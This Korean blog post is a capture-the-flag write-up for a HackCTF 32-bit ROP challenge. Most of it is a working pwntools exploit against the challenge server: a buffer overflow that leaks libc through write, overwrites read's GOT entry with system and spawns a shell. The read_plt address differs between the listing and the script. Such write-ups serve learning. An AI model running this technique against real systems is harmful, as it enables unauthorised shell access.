아주 typical한 ROP 형식의 문제이다. ROP는 RTL Chaining + GOT Overwrite + Gadget 을 알고 있다면 각 함수들의 주소값들과 gadget의 주소를 조합하여 작품을 완성하는 퍼즐과도 같다. 퍼즐의 조각들을 하나하나씩 모아보자.
read_plt = 0x08048300
read_got = 0x0804a00c
write_plt = 0x08048340
write_got = 0x0804a018
bss → 0x0804a024
read_offset = 0xd4350
system_offset = 0x3a940
pop pop pop ret Gadget → 0x08048509
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3021)
#PUZZLE PIECES
read_plt = 0x08048310
read_got = 0x0804a00c
write_plt = 0x08048340
write_got = 0x0804a018
pppr = 0x08048509
bss = 0x0804a024
sys_offset = 0x3a940
read_offset = 0xd4350
#MOVE RET
payload = "\x90"*140
#Leak read_got
#read 함수의 실제 주소를 leak 함으로써 libc base를 구한다.
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
#/bin/sh -> bss
#표준입력으로 bss 영역에 문자열을 입력받는다.
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
#GOT Overwrite
#표준입력으로 read_got 주소를 system 함수의 주소로 overwrite 한다.
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
#Call system
#read_plt를 호출하지만 이는 read_got를 call한다.
#또한 read_got는 system으로 덮여있으니 결국 system 함수 실행
payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss)
#exploit
r.send(payload) #payload를 먼저 한번 쏴주고,
read = u32(r.recv(4)) #처음 write 함수로 출력한 실제 read 함수의 주소를 불러오고 read에 저장
r.send("/bin/sh\x00") #bss 영역에 /bin/sh 삽입
base = read - read_offset #libc base 값 계산
system = base + sys_offset #system 의 주소값 계산
r.send(p32(system)) #read_got 값에 system 함수의 주소 overwrite
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
x64 Simple_size_BOF (0) | 2020.08.28 |
---|---|
x64 Buffer Overflow (0) | 2020.08.28 |
RTL_World (0) | 2020.08.28 |
BOF_PIE (0) | 2020.08.28 |
Offset (0) | 2020.08.28 |